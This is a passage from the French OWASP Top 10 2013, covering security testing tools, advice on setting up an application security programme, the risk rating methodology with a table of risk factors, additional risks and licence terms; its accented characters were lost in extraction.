lanalyse de code, mais ces outils sont encore leurs dbuts. Les
auteurs de ces outils les utilisent chaque jour lorsquils effectuent
leurs revues de code en scurit, mais les non-experts pourraient
trouver ces outils compliqus dutilisation. Cela inclut
CodeCrawler, Orizon, et O2. Seul O2 a t en dveloppement
actif depuis la dernire version du Top 10 en 2010.
Il y a dautres outils de revue de code gratuits et open source. Le
plus prometteur est FindBugs, et son nouveau plugin de scurit
sappelle FindSecurityBugs, les deux tant sous Java.

Outils de Tests dIntrusion Applicatifs : WebScarab, qui a

t un des plus utiliss de tous les projets OWASP, et le
nouveau ZAP, qui maintenant est bien plus populaire, sont
tous deux des proxys de test dapplication web. Ils
permettent aux analystes scurit dintercepter les
requtes dapplication web, ainsi les analystes peuvent
imaginer comment lapplication fonctionne, et donc de
permettre lanalyste de soumettre des requtes de test
afin de voir si lapplication rpond de manire scurit de
telles requtes. Ces outils sont particulirement efficaces
pour assister un analyste la dcouverte de failles XSS, des
failles dAuthentification, et des failles de Contrle dAccs.
ZAP a mme un scanner actif intgr, et cela
GRATUITEMENT !

+O

Que faire dans une entreprise ?

Lancez ds maintenant un programme de scurisation des applications

La scurit des applications n'est plus une option. Entre le nombre croissant des agressions et la pression des autorits de
rgulation, les entreprises du web doivent se donner les moyens de scuriser leurs applications. Etant donn le nombre crasant
de lignes de code dj en production qui sont autant de risques de vulnrabilit, beaucoup dentreprises luttent dj pour en
reprendre le contrle. L'OWASP leur recommande de mettre en place un plan global qui profite l'ensemble de leurs services.
Mais pour mener bien cette scurisation des applications, il faut une synergie de toutes les composantes de lentreprise: la
scurit, la qualit, les dveloppeurs, les commerciaux et la direction. La scurit doit tre mise en avant, de telle sorte que tous
les acteurs puissent la retrouver dans leurs directives de travail et l'appliquer.
Il faut aussi mettre l'accent sur les mthodes qui vont effectivement amliorer la scurit et leurs effets attendus en terme et de
diminution de risque, mais aussi de cot. Les lments clefs de la scurisation des applications sont:

Pour
commencer

Etablissez un programme de scurisation des applications , et pilotez son adoption.

Procdez une analyse des lacunes des capacits comparant votre organisation vos pairs pour
dfinir les principaux axes d'amlioration et un plan d'excution.
Faites entriner ce programme par la Direction et lancez une campagne de sensibilisation la scurit
des applications pour l'ensemble de l'organisation informatique.

Approche
base sur le
risque

Identifier et prioriser votre portefeuille d'applications du point de vue du risque inhrent.

Crer un modle de profil de risque applicatif pour mesurer et hirarchiser vos applications.
tablissez des directives d'assurance pour dfinir correctement la couverture et le niveau de
rigueur requis.
Dfinissez un modle commun dvaluation des risques avec un ensemble cohrent de probabilit et
de facteurs d'impact refltant la tolrance de votre organisation pour le risque.

Partez sur
des bases
solides

Adoptez une liste prcise de normes et standards dfinissant les rgles de base de la scurit des
applications qui devront tre adoptes par les quipes de dveloppement.
Dfinissez une liste commune de contrles priodiques qui compltent ces politiques et normes et
qui fournisse les conseils de conception et de dveloppement sur leur utilisation.
Mettez en place un programme de formation spcifique la scurit des applications s'adressant aux
diffrents mtiers et sujets de dveloppement.

Intgrez la
scurit dans
les processus
existants

Dfinissez et intgrez les activits dimplmentation et de vrification de la

scurit dans les processus de dveloppement et oprationnels existant. Les activits comprennent
modlisation des menaces, conception scurise & review, programmation scurise et revue de
code, tests de pntration et remdiation.
Fournissez des services de support et dexpertise disposition des quipes de dveloppement et de
gestion de projet pour russir.

Rendez vos
indicateurs
visibles

Grez avec des mtriques. Pilotez les dcisions de financement et d'amlioration en vous basant sur
les mtriques et les donnes d'analyse recenses. Les mtriques comprennent le respect des
pratiques / activits de scurit, les vulnrabilits introduites, les vulnrabilits attnues, la
couverture de l'application, la densit de dfauts par type et par nombre d'instances, etc.
Analysez les donnes des activits de mise en uvre et de vrification pour rechercher la cause
premire et des modles de vulnrabilit pour conduire des amliorations stratgiques et
systmiques travers l'entreprise.

+R

Note propos des Risques

Il sagit de Risques, non de Faiblesses

Mme si les versions antrieures du Top 10 OWASP se focalisaient essentiellement sur les vulnrabilits les plus communes, le
Top 10 OWASP a toujours t organis autour des risques. Ceci a caus une confusion comprhensible pour les personnes
recherchant une classification infaillible des failles. Le Top 10 OWASP de 2010 a clarifi le rle central du risque au sein du Top 10
en tant trs explicite sur la faon dont les agents de menace, vecteurs dattaque, vulnrabilits, impacts techniques et impacts
mtier se combinent pour gnrer le risque. Cette version du Top 10 OWASP suit la mme mthodologie.
La mthodologie dvaluation du risque pour le Top 10 est base sur lOWASP Risk Rating Methodology. Pour chacun des lments
du Top 10, nous avons estim le risque type introduit par chaque vulnrabilit pour une application type en estimant le facteurs de
probabilit et dimpact pour chacune des failles. Nous avons donc class le Top 10 en fonction des vulnrabilits types qui
introduisent le risque le plus important dans une application.
La mthodologie OWASP Risk Rating Methodology dfinit de nombreux facteurs pour aider au calcul du risque associ une
vulnrabilit identifie. Cependant, le Top 10 doit parler de gnralits plutt que vulnrabilits spcifiques aux applications
relles. Par consquent, nous ne pourrons jamais tre aussi prcis que peut ltre le responsable du systme lorsquil est question
de calculer les risques pesant sur leur(s) application(s). Vous tes les mieux placs pour juger de limportance de vos applications,
de vos menaces, de comment votre systme a t construit et comment il est gr.
Pour chaque vulnrabilit, notre mthodologie inclut trois facteurs de probabilit (prvalence, Dtection, et facilit dexploitation)
et un facteur dimpact (technique). La prvalence dune faille est typiquement un facteur que vous navez pas calculer. Pour ces
donnes, nous avons agrg les statistiques que nous ont fourni des entreprises dhorizons varis (cf. Remerciements page 3) afin
dobtenir un Top 10 par prvalence. Ces donnes ont ensuite t combines avec deux autres facteurs de probabilit (Dtection et
facilit dexploitation) afin de calculer un ratio de probabilit pour chaque faille. Enfin celui-ci a t multipli par limpact
technique moyen que nous avons estim, afin dobtenir un classement du risque global pour chaque lment du Top 10.
Il est noter que cette approche ne prend en compte ni la probabilit des menaces ni les nombreux dtails techniques propres
votre application. Tous ces facteurs peuvent grandement affecter la probabilit quun attaquant puisse trouver et exploiter une
vulnrabilit. Ce classement ne prend pas non plus en compte les impacts effectifs sur votre activit. En fonction de sa culture, de
son secteur et des contraintes rglementaires, votre organisation devra dcider quel niveau de risque est acceptable pour chaque
application. Le but du Top 10 OWASP nest pas de raliser lanalyse de risque votre place.
Le schma suivant illustre notre calcul pour la vulnrabilit A3: Cross-Site Scripting. Les failles XSS sont si courantes quelles sont
les seules tre classes TRES REPANDUE (prvalence de valeur 0). Tous les autres risques sont classs de rpandu peu
commun (valeur de 1 3).

Vecteurs
dattaque

Impacts
Techniques

Vulnrabilit

Agents de menace

Spcifique
lApplication

Exploitabilit
MOYENNE

Prvalence
TRES REPANDUE

Dtection
FACILE

Impact
MODERE

*
2

Impacts
Mtiers

Spcifique
Application/Mtier

+F

Dtails sur les facteurs de Risques

Rcapitulatif des Facteurs de Risque du Top 10

Le tableau suivant reprsente une vue d'ensemble des risques de scurit du Top 10 2013, et les facteurs assigns chacun des
risques. Ces facteurs ont t dtermins d'aprs les statistiques connues et en fonction de l'exprience de l'quipe OWASP Top
10. Pour une comprhension complte de ces risques pour votre application ou organisation, vous devez examiner vos facteurs
de menace spcifiques et les impacts commerciaux correspondants. Une norme faille de scurit ne reprsentera pas
forcment de risque srieux sil n'y a aucun agent menaant capable d'effectuer l'attaque, ou si les impacts commerciaux sont
ngligeables au vu des informations exposes.

RISQUES
Agents
de Menace

Vecteurs
dattaque

Vulnrabilit

Exploitabilit

Prvalence

Dtection

Impacts
Techniques

Impacts
Mtier

Impact

A1-Injection

Spcifique
lApplication

FACILE

COMMUNE

MOYENNEMENT

SVRE

Spcifique
lApplication

A2-Auth et Sess

Spcifique
lApplication

MOYENNE

RPANDUE

MOYENNEMENT

SVRE

Spcifique
lApplication

A3-XSS

Spcifique
lApplication

MOYENNE

TRS RPANDUE

FACILEMENT

MODR

Spcifique
lApplication

A4-Rf non scu.

Spcifique
lApplication

FACILE

COMMUNE

FACILEMENT

MODR

Spcifique
lApplication

A5-Config

Spcifique
lApplication

FACILE

COMMUNE

FACILEMENT

MODR

Spcifique
lApplication

A6-Donnes

Spcifique
lApplication

DIFFICILE

RARE

MOYENNEMENT

SVRE

Spcifique
lApplication

A7-ACL Fonc.

Spcifique
lApplication

FACILE

COMMUNE

MOYENNEMENT

MODR

Spcifique
lApplication

A8-CSRF

Spcifique
lApplication

MOYENNE

COMMUNE

FACILEMENT

MODR

Spcifique
lApplication

A9-Composants

Spcifique
lApplication

MOYENNE

RPANDUE

DIFFICILEMENT

MODR

Spcifique
lApplication

A10-Redirection

Spcifique
lApplication

MOYENNE

RARE

FACILEMENT

MODR

Spcifique
lApplication

Risques additionnels considrer

Le Top 10 couvre beaucoup de domaines, mais il existe d'autres risques que vous devez prendre en considration et valuer pour
votre entreprise. Certain apparaissent dans des versions antrieures du Top 10, d'autres non, il y a aussi toutes les nouvelles
techniques d'attaques dcouvertes tous les jours. Voici une liste des risques de scurit que vous devriez aussi examiner:
Clickjacking
Concurrency Flaws
Dni de service (initialement Entre 2004-A9 dans le Top 10 2004 )
Expression Language Injection (CWE-917)
Fuite dinformations et Mauvaise gestion des erreurs (Faisait partie du Top 10 2007 Entre 2007-A6)
Insufficient Anti-automation (CWE-799)
Journalisation insuffisante et Responsabilits (Relatif au Top 10 2007 Entre 2007-A6)
Manque de systme de dtection/rponse aux intrusions
Excution de fichier malveillant (Dans Top 10 2007 Entre 2007-A3)
Affectation de masse (CWE-915)
Protection de la vie prive de lutilisateur

LES ICNES CI-DESSOUS REPRESENTENT LES AUTRES

VERSIONS DE CET OUVRAGE DISPONIBLES A
L'IMPRESSION.
ALPHA: Le contenu de Qualit Alpha est un document de
travail dont le contenu est approximatif et en dveloppement
jusqu'au niveau de publication suprieur.
BETA: Le contenu de Qualit Beta correspond au niveau de
publication suivant. Le contenu reste en dveloppement jusqu'
la prochaine publication.
RELEASE: Le contenu de Qualit Release est le plus haut
niveau de qualit du cycle de publication dun ouvrage, et
correspond au produit final.

VOUS TES LIBRES:

de partager - copier, distribuer et
transmettre ce travail
de modifier - d'adapter ce travail

SOUS LES CONDITIONS SUIVANTES:

Attribution - Vous devez attribuer
ce travail de la faon spcifie par
les auteurs ou concdants (mais
sans jamais suggrer qu'ils vous
soutiennent ou supportent l'usage
que vous en fates).
Partage l'identique - Si vous
altrez, transformez ou rutilisez
ce travail, vous ne pouvez
distribuer le travail rsultant que
sous la mme licence, sous une
license similaire ou sous une
license compatible.

LOpen Web Application Security Project (OWASP) est une communaut mondiale libre et ouverte ayant pour but
l'amlioration de la scurit des applications logicielles. Notre mission est de rendre la scurit des applications
visible , pour que les particuliers et les entreprises puissent prendre des dcisions tenant compte des risques de
scurit lis aux applications. Chacun est libre de participer l'OWASP et tous nos supports sont disponibles sous
licence libre et gratuite. La Fondation OWASP est une association but non lucratif de type 501c3 qui garantit la
disponibilit future et le support de nos travaux.